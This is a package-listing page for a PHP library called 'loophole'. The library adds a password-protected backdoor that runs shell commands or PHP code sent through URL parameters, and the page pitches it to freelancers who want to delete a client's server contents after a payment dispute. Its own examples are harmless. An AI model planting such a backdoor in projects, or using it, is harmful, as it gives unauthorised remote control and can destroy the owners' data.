Download the PHP package daniilskli/loophole without Composer
On this page you can find all versions of the php package daniilskli/loophole. It is possible to download/install these versions without Composer. Possible dependencies are resolved automatically.
Download daniilskli/loophole
More information about daniilskli/loophole
Files in daniilskli/loophole
Package loophole
Short Description This library is designed to provide security to freelancers, as well as others in order to provide secure access to the site without the admin panel. When can it be useful? If you are a freelancer and you have been scammed, you can run some system command on the server to delete everything. In other cases, for example remote control of the site via POST API. In general I make this package for myself but I'm putting it here so someone can use it and not have to write new code every time. I will be glad if I help someone :) Translated by DeepL translator.
License MIT
Informations about the package loophole
Loophole
This library is designed to provide security to freelancers, as well as others in order to provide secure access to the site without the admin panel. When can it be useful? If you are a freelancer and you have been scammed, you can run some system command on the server to delete everything. In other cases, for example remote control of the site via POST API. In general I make this package for myself but I'm putting it here so someone can use it and not have to write new code every time. I will be glad if I help someone :)
QuickStart
- Installation
- Basic Usage
- Methods
Installation
composer require daniilskli/loophole
Basic Usage
And in url address
http://localhost:8080/?password=password_hash&command=touch hello.txt // Creates a "hello.txt" file
`http://localhost:8080/?password=password_hash&command=php::echo 123; // Echo 123 on page
Warning!
password
, command
- required parameters.
Methods
Config
__construct(string password)
setLog(true or false, path (has default value))
usagemonolog
librarysetMethod(string 'POST' or 'GET')
you can useLoophole\Config\Method
Setup
__construct(Config)
start()
End
That's all for now, I'll create a wiki with a better explanation of everything later.